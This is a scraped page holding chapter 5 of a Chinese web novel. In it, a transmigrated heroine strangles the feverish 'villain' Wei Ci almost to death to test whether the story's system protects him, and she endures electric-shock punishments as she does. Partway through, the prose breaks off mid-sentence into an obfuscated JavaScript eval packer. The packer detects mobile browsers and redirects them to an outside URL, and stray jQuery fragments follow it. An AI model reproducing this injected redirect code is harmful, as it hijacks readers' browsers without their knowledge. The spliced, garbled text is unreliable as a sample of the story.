默认冷灰
24号文字
方正启体

5. 再鲨反派未遂

作者:聘得衔蝉无本书字数:K更新时间:
    入夜后,崔府被一层厚重的积雪覆盖,白茫茫一片,尤为干净。游廊灯架中的烛火在寒风下摇曳欲灭,洒落支离破碎的光影。


    崔重岫屏退了红袖,推说自个儿今日受了惊吓,要早些歇息。待到寝内静谧无声,她才好整以暇地从箱笼里翻找出一件玄色鹤氅,穿戴妥当,露出一双冷冽如深潭的明眸。


    相较于那件奢贵却扎眼的白狐裘,这件衣裳更适合在夜色中行走。


    她并不相信惯会装死的系统,更不相信所谓“刷满好感度就能脱离”的狗屁逻辑。


    在末世,当一个变量无法被控制且具有高度威胁时,最优解永远是——直接抹除。


    “让我看看,剧情中所谓的‘关键角色’,到底是规则赋予的无敌,还是仅仅因为运气好。”


    崔重岫避开了呵欠连天的值夜护院与奴婢,这具躯体虽然体力极差,但胜在身形娇小,兼之她曾在生死线上磨砺出的潜行技巧,处于被她摸索过无数次的游戏地图里,绕过几个家仆的巡视路径并非难事。


    *


    卫慈所住的厢房位于府邸最为偏僻的西北角,曾是堆放杂物的库房,因卫慈寄居,才被潦草拾掇出来,终年见不到阳光。


    此时,檐瓦下挂着的冰棱如利剑般倒垂,透着一股肃杀的冷意。


    崔重岫推开那扇因朽坏而微微走形的雕花门,便能嗅到些潮湿霉味与浓重药苦气。屋内并无地龙,唯有一只烧得半死不活的小泥炉,散发着微弱到近乎于无的热量,也并没点灯,只有窗外透进的一点雪光,映照出榻上那道模糊的身影。


    他正深陷在高热之中。


    因于白日一场横祸,他本就抱恙的孱弱躯壳就此病倒。崔府请的郎中不过是敷衍了事,开出的方子也多是些廉价的祛寒药草。


    他用以蔽寒的被褥极其单薄,甚于能看清薄棉下的身子在不自觉地冷颤,那张惯是维持着端方君子的面容,此刻尤为苍白,双颊却病态地泛着潮红,墨发凌乱地贴在汗湿的额角,双目紧闭,流露出堪称破碎可怜的脆弱。


    崔重岫悄无声息地行至榻前。


    她并未动用任何利器。


    利器会留下伤痕,在没有现代法医学的大景,她虽可以依靠身份遮掩,可一旦见血,后续的清扫工作对她而言太过麻烦。况且……破绽还是越少越好。


    她居高临下地审视着卫慈。


    “确实是个美人胚子。”她指尖轻轻拂过卫慈滚烫的面颊,冰冷的碰触教他在昏睡中发出一声细微而痛苦的呻吟。


    崔重岫神情平静如初,不带任何怜悯,只有堪称无情的忖度。


    “命硬吗?”


    她在心中无声自语。先前于池边推搡已是初次试探,家仆“恰好”路过让她确定了卫慈在剧情中拥有极高的生存权重。


    但,她不信。


    作为在末世习惯了用物理手段解决一切变数的幸存者,崔重岫的人生信条里从来没有“听天由命”这四个字。既然系统不肯交流、既然好感度任务是个死局,那她只好试一试,把这个所谓的反派彻底抹杀,这个位面到底是会崩溃重启,还是不得不为她妥协。


    崔重岫俯下身,伸出了那双被她评价为手无缚鸡之力的柔荑。


    她选择了最粗暴、亦也最直白的方式。


    纤弱的手指精准扼在卫慈那截白皙而脆弱的脖颈上,他的喉结在她虎口下微弱地滚动了一下,伴随着滚烫体温,传递到崔重岫冰冷的掌心,是一片堪称灼手的暖意。


    “抱歉了,卫郎君。”


    真正狠下杀手时,她反而收敛起或轻快、或戏谑的笑意,清秀面容上流露出极不相符的冷酷意味,无甚表情,却更衬托出她稳居食物链顶端在掠夺生命时,特有的弱肉强食作派,“在这个烂透了的剧本里,我还是更喜欢亲自书写结局。”


    手指蓦然收紧!


    “唔……”


    窒息感在刹那间加剧。


    由于高热,卫慈的意识沉溺在无边昏沉之中,浑身忽冷忽热,神志浑噩不清,却被突如其来的杀意硬生生拽回现实。咽喉被紧扼住无法发声,只能发出破碎的气音,他本能挣扎着,但四肢虚软,让他除却无力地挣动三两下,再无效用。


    卫慈竭勉强睁开眼,瞳孔因极度缺氧而涣散、收缩,过了好几息才看清上方那张极为平静,堪比恶鬼般的美人面。


    他恍惚的神情从最初惊愕,转为浓重恨意,最终在恨极的深处,竟生出些许因为无法理解而由衷的颤栗。


    “呃……哈……”


    挣扎间,他指尖徒劳地在崔重岫手腕处留下几道鲜艳红痕,视野模糊,双眸中血丝密布,目光却仍竭尽全力死死锁住崔重岫,眼底盛满了难以置信、不得其解,以及——刻骨铭心的,对崔重岫的恨意。


    他在质问。


    质问她为何要做到这一步。


    崔重岫气力不够,有些摁不住卫慈,索性抬腿直截跨坐在他腰腹上,动作干脆利落,借用整个人的重量压制住他的挣扎。她娇弱的身躯此时如同泰山压顶,稳稳遏制住卫慈仅剩的些许反抗余地,鸦发如云似雾般凌乱垂落,拂过他因窒息而愈发涨红的面颊,竟教人无端感到诡谲又荒诞的凄艳感。


    她全然无视卫慈所有的情绪,只是一味收紧手指,甚于能察觉出他颈侧那条微弱而急促的脉搏在指腹下狂跳,而后逐渐变得沉闷、缓慢。


    恰在此刻!


    【警告!警告!警告!】


    【检测到核心关键角色即将偏离主线】


    系统这回竟连下达惩罚的文字提示都来不及通报,直接用强电


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024686|194340||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    流中止崔重岫的过激行为!


    比先前强烈数倍的痛感瞬间贯穿崔重岫脊髓,她顷刻间只觉一柄重锤直击头颅,眼前蓦然一黑,脏腑仿若在这一瞬被高温灼烧,精准作用于神经末梢的剧痛让她险些当场昏厥过去。


    然而,她只是紧咬牙关,乃至过度用力而导致齿龈渗出血迹。


    “哈……咳……哈哈……”


    崔重岫吞咽着血沫,痛得浑身发抖,面色相较于卫慈也好不到哪儿去,竟还有闲心对着他因于窒息而绯红艳靡的面孔露出狂笑,“咳……我偏要弄清楚,你究竟有多重要!”


    这是一场豪赌。


    她在赌系统的底线和权限。


    就在卫慈的气息几近断绝,生死于一线之际——


    没有任何征兆,更为迅疾的电流在崔重岫体内炸开!她闷哼一声,面色惨白如纸,连呼吸都因此停滞,周身如风中枯叶一般剧烈战栗,冷汗如雨下,心脏由于过度电击而产生疯狂的跳动和停搏感。


    但她并不曾松手。


    末世教给她的生存法则之一:假如你想杀一个人,哪怕天崩地裂,也要先拧断他的脖子。


    她强忍着肉身崩坏的痛楚,双手反而更稳更狠地施力,死死将卫慈扼在榻上。


    卫慈的挣扎愈发微弱,长时间缺氧,令他的意识逐渐涣散,眼底的恨意也蒙上一层死寂的灰暗,瞳孔稍微扩散,遍布血丝的双眸半张半合。他双臂无力垂落在榻边,注定在将来翻云覆雨、拨弄权术的手,如今正痉挛地蜷缩着。


    直至系统的警告播报声都成为刺耳的噪音时,崔重岫才在自身心脏即将负荷过载而骤停,濒临猝死的霎那,终究还是理智地松开了手。


    “咳咳……呼……哈……”


    她脱力地翻身瘫倒在卫慈身侧,二人并排躺在简陋的木榻上,教此番情景竟有一种死里逃生的离奇与诙谐。


    一旁的卫慈好比一滩烂泥,毫无生气地仰躺在那里。


    过了些会儿,或许是十几息,亦或是更久,卫慈那截青紫交加的脖颈处,才极为缓慢地起伏了一下。


    他像是一尊倾颓的玉像,胸膛在停顿了几息后,终于开始了剧烈而痛苦的喘息,每一次粗重呼吸都伴随着嘶哑咳嗽。


    崔重岫扶着榻沿,摇摇欲坠地支起身,虽然面无人色,连指尖都在不自主颤抖,可她投向卫慈的视线已然透露出了确信。


    “强制保护措施……”


    她看着卫慈即便醒来,在高热与缺氧的双重摧残下,也只能勉强维持一丝游离的神志,“但好像重要性也不太高啊,到这种程度才肯介入。”


    卫慈被她捏住下颌侧过脸,双目涣散失焦地望着她,而今连抬手推开她的气力都使不出,唯有犹在时不时咳喘而起伏的胸膛,证明他尚未殒命。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)